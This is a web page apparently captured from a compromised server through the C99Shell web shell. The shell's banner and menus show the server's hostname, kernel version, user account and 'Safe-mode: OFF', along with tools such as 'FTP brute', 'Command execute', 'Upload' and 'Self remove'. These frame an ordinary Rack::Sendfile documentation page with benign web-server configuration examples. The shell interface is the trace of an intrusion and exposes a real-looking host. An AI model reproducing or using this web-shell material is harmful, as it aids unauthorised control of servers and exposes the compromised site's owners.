!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/ruby18/lib64/ruby/gems/1.8/doc/rack-1.6.1/rdoc/classes/Rack/   drwxr-xr-x
Free 293.42 GB of 429.69 GB (68.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Sendfile.html (7.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Class: Rack::Sendfile
Class Rack::Sendfile
In: lib/rack/sendfile.rb
Parent: Object

Sendfile

The Sendfile middleware intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. The web server is then responsible for writing the file contents to the client. This can dramatically reduce the amount of work required by the Ruby backend and takes advantage of the web server‘s optimized file delivery code.

In order to take advantage of this middleware, the response body must respond to to_path and the request must include an X-Sendfile-Type header. Rack::File and other components implement to_path so there‘s rarely anything you need to do in your application. The X-Sendfile-Type header is typically set in your web servers configuration. The following sections attempt to document

Nginx

Nginx supports the X-Accel-Redirect header. This is similar to X-Sendfile but requires parts of the filesystem to be mapped into a private URL hierarchy.

The following example shows the Nginx configuration required to create a private "/files/" area, enable X-Accel-Redirect, and pass the special X-Sendfile-Type and X-Accel-Mapping headers to the backend:

  location ~ /files/(.*) {
    internal;
    alias /var/www/$1;
  }

  location / {
    proxy_redirect     off;

    proxy_set_header   Host                $host;
    proxy_set_header   X-Real-IP           $remote_addr;
    proxy_set_header   X-Forwarded-For     $proxy_add_x_forwarded_for;

    proxy_set_header   X-Sendfile-Type     X-Accel-Redirect;
    proxy_set_header   X-Accel-Mapping     /var/www/=/files/;

    proxy_pass         http://127.0.0.1:8080/;
  }

Note that the X-Sendfile-Type header must be set exactly as shown above. The X-Accel-Mapping header should specify the location on the file system, followed by an equals sign (=), followed name of the private URL pattern that it maps to. The middleware performs a simple substitution on the resulting path.

See Also: wiki.codemongers.com/NginxXSendfile

lighttpd

Lighttpd has supported some variation of the X-Sendfile header for some time, although only recent version support X-Sendfile in a reverse proxy configuration.

  $HTTP["host"] == "example.com" {
     proxy-core.protocol = "http"
     proxy-core.balancer = "round-robin"
     proxy-core.backends = (
       "127.0.0.1:8000",
       "127.0.0.1:8001",
       ...
     )

     proxy-core.allow-x-sendfile = "enable"
     proxy-core.rewrite-request = (
       "X-Sendfile-Type" => (".*" => "X-Sendfile")
     )
   }

See Also: redmine.lighttpd.net/wiki/lighttpd/Docs:ModProxyCore

Apache

X-Sendfile is supported under Apache 2.x using a separate module:

tn123.org/mod_xsendfile/

Once the module is compiled and installed, you can enable it using XSendFile config directive:

  RequestHeader Set X-Sendfile-Type X-Sendfile
  ProxyPassReverse / http://localhost:8001/
  XSendFile on

Mapping parameter

The third parameter allows for an overriding extension of the X-Accel-Mapping header. Mappings should be provided in tuples of internal to external. The internal values may contain regular expression syntax, they will be matched with case indifference.

Methods

call   new  

Constants

F = ::File

Public Class methods

Public Instance methods


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]--